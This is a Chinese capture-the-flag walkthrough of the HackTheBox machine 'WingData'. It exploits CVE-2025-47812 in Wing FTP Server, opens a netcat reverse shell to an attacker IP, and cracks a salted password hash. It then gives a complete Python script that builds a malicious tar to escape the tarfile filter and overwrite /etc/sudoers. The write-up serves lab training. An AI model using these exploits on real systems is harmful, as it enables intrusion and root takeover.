当前位置: 首页 > news >正文

【渗透测试】HTB靶场之WingData 全过程wp

WingData

信息收集

image-20260219182401835

image-20260219182537800

得到一个ftp.wingdata.htb,也将这个加上

image-20260219182636761

Wing FTP Server v7.4.3

通过搜寻cve是 CVE-2025-47812

漏洞利用(CVE-2025-47812)

4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)

python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami" -v

image-20260219183211504

然后反弹shell

python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.16.5 8888 -e /bin/sh" -vpython3 -c 'import pty;pty.spawn("/bin/bash")'

image-20260219183719631

然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据

image-20260219184040177

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP

爆破hash(WingFTP 使用SHA256算法,并使用盐值“WingFTP”为加密方式)

hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt

image-20260219184927089

得到密码!#7Blushing^*Bride5

wacky/c

然后ssh连接

image-20260219185219510

得到user.txt

权限提升

先sudo -l看一下

image-20260219185311322

可以看到有一个py脚本

我们去看一下

cat /opt/backup_clients/restore_backup_clients.py
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparseBACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"def validate_backup_name(filename):if not re.fullmatch(r"^backup_\d+\.tar$", filename):return Falseclient_id = filename.split('_')[1].rstrip('.tar')return client_id.isdigit() and client_id != "0"def validate_restore_tag(tag):return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))def main():parser = argparse.ArgumentParser(description="Restore client configuration from a validated backup tarball.",epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john")parser.add_argument("-b", "--backup",required=True,help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, ""where <client_id> is a positive integer, e.g., backup_1001.tar)")parser.add_argument("-r", "--restore-dir",required=True,help="Staging directory name for the restore operation. ""Must follow the format: restore_<client_user> (e.g., restore_john). ""Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters).")args = parser.parse_args()if not validate_backup_name(args.backup):print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)sys.exit(1)backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)if not os.path.isfile(backup_path):print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)sys.exit(1)if not args.restore_dir.startswith("restore_"):print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)sys.exit(1)tag = args.restore_dir[8:]if not tag:print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)sys.exit(1)if not validate_restore_tag(tag):print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)sys.exit(1)staging_dir = os.path.join(STAGING_BASE, args.restore_dir)print(f"[+] Backup: {args.backup}")print(f"[+] Staging directory: {staging_dir}")os.makedirs(staging_dir, exist_ok=True)try:with tarfile.open(backup_path, "r") as tar:tar.extractall(path=staging_dir, filter="data")print(f"[+] Extraction completed in {staging_dir}")except (tarfile.TarError, OSError, Exception) as e:print(f"[!] Error during extraction: {e}", file=sys.stderr)sys.exit(2)if __name__ == "__main__":main()

我们利用这个脚本生成tar文件

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
生成恶意tar文件的漏洞利用脚本
作用:构造包含多层目录、符号链接的tar文件,尝试突破路径限制写入/etc/sudoers
"""import tarfile
import os
import io
import sysdef create_malicious_tar(output_path="/tmp/backup_9999.tar"):"""创建恶意tar文件,包含路径遍历和符号链接的构造Args:output_path: 生成的tar文件保存路径,默认/tmp/backup_9999.tar"""# 构造长目录名(247个d),用于突破路径长度限制long_dir_name = 'd' * 247# 用于构造多层目录的字符序列step_chars = "abcdefghijklmnop"current_path = ""try:# 以写模式打开tar文件with tarfile.open(output_path, mode="w") as tar:# 循环构造多层目录和符号链接for char in step_chars:# 1. 创建长目录名的目录项dir_info = tarfile.TarInfo(os.path.join(current_path, long_dir_name))dir_info.type = tarfile.DIRTYPE  # 标记为目录类型tar.addfile(dir_info)# 2. 创建指向该长目录的符号链接symlink_info = tarfile.TarInfo(os.path.join(current_path, char))symlink_info.type = tarfile.SYMTYPE  # 标记为符号链接类型symlink_info.linkname = long_dir_name  # 链接指向长目录tar.addfile(symlink_info)# 更新当前路径,进入下一层current_path = os.path.join(current_path, long_dir_name)# 3. 构造多层符号链接路径,用于路径遍历link_path = os.path.join("/".join(step_chars), "l"*254)link_info = tarfile.TarInfo(link_path)link_info.type = tarfile.SYMTYPElink_info.linkname = "../" * len(step_chars)  # 构造回退路径tar.addfile(link_info)# 4. 创建指向/etc目录的符号链接(escape)escape_info = tarfile.TarInfo("escape")escape_info.type = tarfile.SYMTYPEescape_info.linkname = f"{link_path}/../../../../../../../etc"tar.addfile(escape_info)# 5. 创建指向/etc/sudoers的硬链接(sudoers_link)sudoers_link_info = tarfile.TarInfo("sudoers_link")sudoers_link_info.type = tarfile.LNKTYPEsudoers_link_info.linkname = "escape/sudoers"tar.addfile(sudoers_link_info)# 6. 写入恶意内容到sudoers_link(覆盖/etc/sudoers)malicious_content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"file_info = tarfile.TarInfo("sudoers_link")file_info.type = tarfile.REGTYPE  # 标记为普通文件类型file_info.size = len(malicious_content)  # 指定文件大小# 将内容写入tar文件tar.addfile(file_info, fileobj=io.BytesIO(malicious_content))print(f"[+] 恶意tar文件已生成:{output_path}")except Exception as e:print(f"[!] 生成tar文件失败:{str(e)}", file=sys.stderr)sys.exit(1)if __name__ == "__main__":# 支持自定义输出路径(可选参数)if len(sys.argv) > 1:output_tar = sys.argv[1]else:output_tar = "/tmp/backup_9999.tar"create_malicious_tar(output_tar)

image-20260219194852389

复制这个恶意的tar文件到sudo权限的目录下

cp backup_9999.tar /opt/backup_clients/backups/

然后运行这个sudo脚本

sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil

image-20260219195503275

这时候再去sudo

image-20260219200000270

http://www.jsqmd.com/news/394880/

相关文章:

  • 2026.2.19
  • 第十四日笔记
  • JAVA WEB学习1
  • 突破性进展:基于大模型的上下文理解技术详解
  • 大数据ETL架构:Airflow与DataX集成方案
  • 格雷厄姆的价值线概念及其应用
  • 数据中台建设成熟度评估模型与方法论
  • 基于Spring Boot的投资理财系统设计与实现(任务书)
  • JDK 动态代理和 CGLIB 动态代理有什么区别?
  • Java 中的 hashCode 和 equals 方法之间有什么关系?
  • g2o中信息矩阵(Information Matrix)的理解
  • 如何在大数据领域使用Hive进行数据可视化
  • 什么是 Java 中的动态代理?
  • Java 中 hashCode 和 equals 方法是什么?它们与 == 操作符有什么区别?
  • 《计算机是怎样跑起来的》————让写算法跟呼吸一样简单
  • 购物卡回收的三种热门方法整理 - 京回收小程序
  • ChatPPT Nano Banana Pro · Magic模式深度解析 ——重新定义“所想即所得”的PPT智能编辑
  • ARM Cortex-A7(IMX6ULL)嵌入式裸机开发指南:从点灯到中断 - 实践
  • 大润发购物卡回收靠谱的3个主流渠道 - 京回收小程序
  • 天猫超市购物卡回收常见三种方法及流程解析 - 京回收小程序
  • 最近在调试西门子808D数控系统的机械手刀库,整个过程虽然有点复杂,但还挺有意思的。今天就来分享一下我的调试经验,顺便贴点代码,希望能帮到有需要的朋友
  • 镜像孪生驱动的视频孪生升级版水利电力三维态势控制中枢白皮书---依托矩阵视频融合架构、统一三维坐标基准构建技术、动态误差修正模型与风险交汇时间解算算法形成的空间级前向布控平台-
  • 2026年公司起名机构推荐榜单:十大专业品牌深度测评,企业选型必看 - 博客万
  • 视频孪生之上,是镜像孪生镜像视界三维空间控制作战体系---基于镜像视界(浙江)科技有限公司矩阵视频融合、Pixel-to-3D 反演引擎、三维轨迹建模体系与趋势级风险推演算法构建的全域主动压制平
  • 从春晚舞台到万家灯火:菁彩Vivid三度携手央视频,以沉浸体验点亮中国年 - 博客万
  • 6大方法禁止win11自动更新
  • 进口维生素d3十大品牌揭晓,维生素d3哪个牌子成分安全?复配K2,锁钙护血管更安心 - 博客万
  • 免费招聘平台TOP榜盘点,前三名免费查看简历 - 博客万
  • 目前最靠谱的招聘网站?2026权威测评与真实口碑 - 博客万
  • 【Docker高级篇】吃透Docker CI/CD集成:从代码提交到镜像部署,一步到位不踩坑